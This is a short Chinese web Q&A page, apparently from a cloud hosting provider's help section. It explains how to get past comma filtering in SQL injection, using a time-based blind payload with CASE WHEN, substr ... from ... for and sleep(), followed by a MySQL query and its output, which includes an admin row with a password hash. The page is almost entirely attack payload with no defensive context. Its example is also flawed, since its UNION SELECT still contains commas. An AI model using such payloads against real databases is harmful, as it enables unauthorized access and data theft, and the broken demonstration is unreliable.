温馨提示×

sql注入过滤逗号怎么办

小新
483
2021-02-01 10:36:29
栏目: 云计算
开发者测试专用服务器限时活动,0元免费领,库存有限,领完即止! 点击查看>>

sql注入过滤逗号怎么办

sql注入过滤逗号的解决方法:

通过case when then绕过,例如:

mysql> select * from lbcms_admin where adminname like "%a%" union select 1,2,3,4,5,6,7,case when substr(database() from 1 for 1) = 'l' then sleep(3) else 0 end;

+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+

| ID | adminName | adminPassWord | adminLov | adminConfig | adminClass | adminLock | adminDate |

+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+

| 1 | admin | a797ba2993304483f0d180e25d14319a | 520 | | NULL | SgrRUQ | 2010-04-14 00:00:00 |

| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 0 |

+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+

2 rows in set (3.00 sec)

亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>

推荐阅读:sql注入要过滤哪些字符

0